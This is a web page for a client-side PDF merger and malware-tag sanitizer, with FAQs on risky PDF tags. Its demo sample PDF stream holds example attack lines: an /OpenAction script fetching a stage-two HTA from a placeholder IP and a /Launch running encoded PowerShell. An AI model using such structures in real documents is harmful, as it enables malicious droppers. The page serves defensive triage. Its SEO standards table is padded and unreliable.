Zero-Upload PDF Merger, Page Splitter & Malware Tag Sanitizer (2026)

Merge, reorder, and split PDF documents 100% offline in your browser while auditing and neutralizing dangerous PDF object tags (/JavaScript, /OpenAction, /Launch, /AA, /EmbeddedFiles, and XMP tracking metadata).

Facebook X (Twitter)WhatsApp LinkedIn

Zero-Upload PDF Merger, Page Splitter & Malware Tag Sanitizer — Interactive Console

Runs locally in your browser • Instant output

Inspect Local .PDF (Zero-Upload)

Malware Risk Score

100 / 100

PDF Indirect Objects

4 obj

Triage Verdict

CRITICAL: ACTIVE EXPLOIT TAGS

PDF Object Tag Scanner (`pdfid` Heuristics)

/JavaScriptExecutes arbitrary Acrobat SpiderMonkey JS inside reader

/JSShorthand PDF dictionary key for embedded JavaScript code

/OpenActionAutomatically triggers action immediately when document opens

/AAAdditional-Actions trigger on page view, focus, or form events

/LaunchSpawns external OS shell commands or executables (cmd.exe)

/EmbeddedFilesHides dropped executables, ZIPs, or VBS scripts inside PDF

/RichMediaLegacy Flash / 3D multimedia exploit container

/XFAXML Forms Architecture often abused for heap-spray exploits

/AcroFormInteractive form fields capable of triggering submit scripts

/URIExternal hyperlink or canary tracking webhook URL

Raw PDF Binary / ASCII Stream

%PDF-1.7
1 0 obj
<< /Type /Catalog /Pages 2 0 R /OpenAction 5 0 R /AcroForm << /Fields [6 0 R] /XFA 7 0 R >> /Names << /EmbeddedFiles 8 0 R >> >>
endobj
5 0 obj
<< /Type /Action /S /JavaScript /JS (app.launchURL("http://198.51.100.44/stage2.hta", true);) >>
endobj
6 0 obj
<< /Type /Annot /Subtype /Widget /AA << /O << /S /Launch /F (cmd.exe /c powershell -ep bypass -e SQBFAFgA) >> >> >>
endobj
9 0 obj
<< /Type /Action /S /URI /URI (https://tracker.evil-phish.example/pixel?id=exec-ceo) >>
endobj
%%EOF

Neutralized / Defanged Stream + Ghostscript CLI

# 1. Flatten & Rasterize Malicious Active Objects via Ghostscript (Zero Active Code Survives)
gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/prepress -dSAFER -dNOPAUSE -dQUIET -dBATCH -sOutputFile="clean_invoice_q3_urgent.pdf" "invoice_q3_urgent.pdf"

# 2. Decompress Object Streams & Linearize with QPDF
qpdf --Linearize --stream-data=uncompress "invoice_q3_urgent.pdf" "inspected_invoice_q3_urgent.pdf"

# 3. DIDIER STEVENS pdfid.py & pdf-parser.py Triage
pdfid.py -n "invoice_q3_urgent.pdf" && pdf-parser.py --search javascript "invoice_q3_urgent.pdf"

Ready

Embed / Cite This Tool (Markdown & HTML)

GitHub / Reddit Markdown Badge

[![Zero-Upload PDF Merger, Page Splitter & Malware Tag Sanitizer](https://img.shields.io/badge/ZerosUniverse-Free_Tool-ff6a00)](https://www.zerosuniverse.com/tools/zero-upload-pdf-merger-sanitizer/)

Blog / Documentation HTML Citation

<a href="https://www.zerosuniverse.com/tools/zero-upload-pdf-merger-sanitizer/">Zero-Upload PDF Merger, Page Splitter & Malware Tag Sanitizer — ZerosUniverse</a>

2026 Quick-Reference Cheat Sheet & Benchmark Table: Zero-Upload PDF Merger, Page Splitter & Malware Tag Sanitizer

Quick Answer & 2026 Technical Summary (merge pdf offline malware sanitizer)Updated 2026 Standard

Traditional online PDF mergers upload your files to remote cloud servers where confidential contracts, financial statements, or identity documents may be cached, logged, or breached. Our Zero-Upload engine processes every byte inside your browser's local WebAssembly/JavaScript memory sandbox. Use this interactive merge pdf offline malware sanitizer above to test client side pdf merger no upload, pdf javascript openaction sanitizer, and remove pdf metadata and scripts online locally in your browser with zero server uploads.

Target Keyword Spec: merge pdf offline malware sanitizer  |  Modules: 100% Local In-Memory PDF Merge & Page Splicer • PDF Object Dictionary Threat Scanner • Active Content Defanging & Tag Neutralizer

Primary Focus: merge pdf offline malware sanitizer

Core Capability: client side pdf merger no upload

Privacy Mode: 100% Client-Side (Zero Upload)

Technical Parameter / Module	Standard / Keyword Spec	Architecture & Validation Rule	Operational Use Case (2026)
100% Local In-Memory PDF Merge & Page Splicer	`client side pdf merger no upload`	Combine multiple PDF files, extract custom page ranges (e.g., 1-3, 5, 8-12)...	Confidential Legal, Tax & Medical PDF Merging
PDF Object Dictionary Threat Scanner	`pdf javascript openaction sanitizer`	Inspect raw PDF cross-reference tables and object streams for high-risk tag...	SOC Analyst Maldoc Triage & Safe Sanitization
Active Content Defanging & Tag Neutralizer	`remove pdf metadata and scripts online`	Neutralize executable dictionary keys and strip hidden AcroForm XFA scripts...	Anonymous Whistleblower & OSINT Document Cleansing
Execution & Privacy Architecture	`100% Client-Side WebCrypto / JS Sandbox`	0 Bytes Sent to External Servers	Safe for internal SOC & authorized lab artifacts
NIST SP 800-53 / OWASP Alignment	`OWASP ASVS v4.0.3 / NIST CSF 2.0`	Deterministic Rule & Header Verification	Maps findings to actionable hardening controls
Cryptographic & Entropy Standard	`SHA-256 / AES-256-GCM / Argon2id`	≥ 128-bit Effective Security Margin	Meets 2026 post-quantum & zero-trust baselines

In-Depth ZerosUniverse Tutorial

8 Amazing Merge PDF Tools to Use in 2026

Read our complete step-by-step editorial guide, architecture breakdown, and defensive best practices on ZerosUniverse.

Read Full Guide

How to Use Zero-Upload PDF Merger, Page Splitter & Malware Tag Sanitizer

Drop One or More PDF Files into the Local Vault

Select or drag-and-drop PDF files from your device, or load a simulated malicious PDF telemetry sample to test the object scanner.

Audit PDF Object Tags & Security Risk Score

Review the real-time structural scan for /JS, /JavaScript, /OpenAction, /Launch, /EmbeddedFiles, and hex-escaped dictionary tokens.

Configure Page Ranges, Ordering & Sanitization Rules

Specify custom page ranges to merge or split, and toggle active tag defanging plus Info/XMP metadata scrubbing.

Generate & Download the Sanitized PDF Locally

Compile the clean, merged PDF buffer directly in your browser and download the sanitized file with zero server interaction.

Key Capabilities & Technical Architecture

100% Local In-Memory PDF Merge & Page Splicer

Combine multiple PDF files, extract custom page ranges (e.g., 1-3, 5, 8-12), or reorder pages purely inside browser RAM using ArrayBuffer streams with zero network transmission.

PDF Object Dictionary Threat Scanner

Inspect raw PDF cross-reference tables and object streams for high-risk tags including /JavaScript, /JS, /OpenAction, /AA (Additional Actions), /Launch, /EmbeddedFiles, /RichMedia, and /SubmitForm.

Active Content Defanging & Tag Neutralizer

Neutralize executable dictionary keys and strip hidden AcroForm XFA scripts, external /URI phone-home triggers, and producer/author XMP forensic trails before exporting.

Structural Entropy & Object Stream Breakdown

Audit total PDF object counts, compressed FlateDecode streams, font embeddings, and suspicious obfuscated hex name tokens (e.g., /#4a#61#76#61#53#63#72#69#70#74).

Practical Use Cases

Confidential Legal, Tax & Medical PDF Merging

Combine sensitive contracts, bank statements, or HIPAA/GDPR-regulated records in the browser without exposing documents to third-party cloud PDF converters.

SOC Analyst Maldoc Triage & Safe Sanitization

Inspect suspicious email attachment PDFs for embedded /Launch cmd.exe triggers, CVE exploit streams, or auto-executing /OpenAction payloads before opening in desktop readers.

Anonymous Whistleblower & OSINT Document Cleansing

Purge Author, Creator, Producer, CreationDate, ModDate, and Adobe XMP DocumentID/InstanceID UUIDs that could deanonymize the document creator.

Frequently Asked Questions (FAQs)

Why is uploading PDFs to free online merge websites a major security risk?+

How can a PDF file execute malware using /OpenAction and /JavaScript tags?+

The PDF specification supports embedded Acrobat JavaScript (/JS and /JavaScript) as well as automatic trigger dictionaries like /OpenAction and /AA (Additional Actions). When a victim opens the file, the PDF reader immediately executes the script or invokes /Launch to spawn system commands or exploit reader vulnerabilities.

What is hex-escaped tag obfuscation in malicious PDFs?+

PDF syntax allows name objects to replace characters with two-digit hexadecimal codes preceded by a hash (#). Attackers write /#4A#53 instead of /JS or /#4F#70#65#6E#41#63#74#69#6F#6E instead of /OpenAction to evade naive signature scanners. Our parser normalizes hex-escaped names before auditing.

What hidden metadata does a standard PDF file leak?+

Standard PDFs store both a legacy /Info dictionary (Author, Creator, Producer, CreationDate, ModDate) and an XML-based XMP metadata stream containing operating system versions, exact Adobe/Word build numbers, and persistent DocumentID/InstanceID tracking GUIDs.

Does sanitizing a PDF alter its visible text or layout?+

No. Defanging executable action dictionaries (/OpenAction, /JS, /Launch) and stripping /Info and /Metadata XMP streams leaves all page content streams, vector graphics, and embedded fonts completely intact.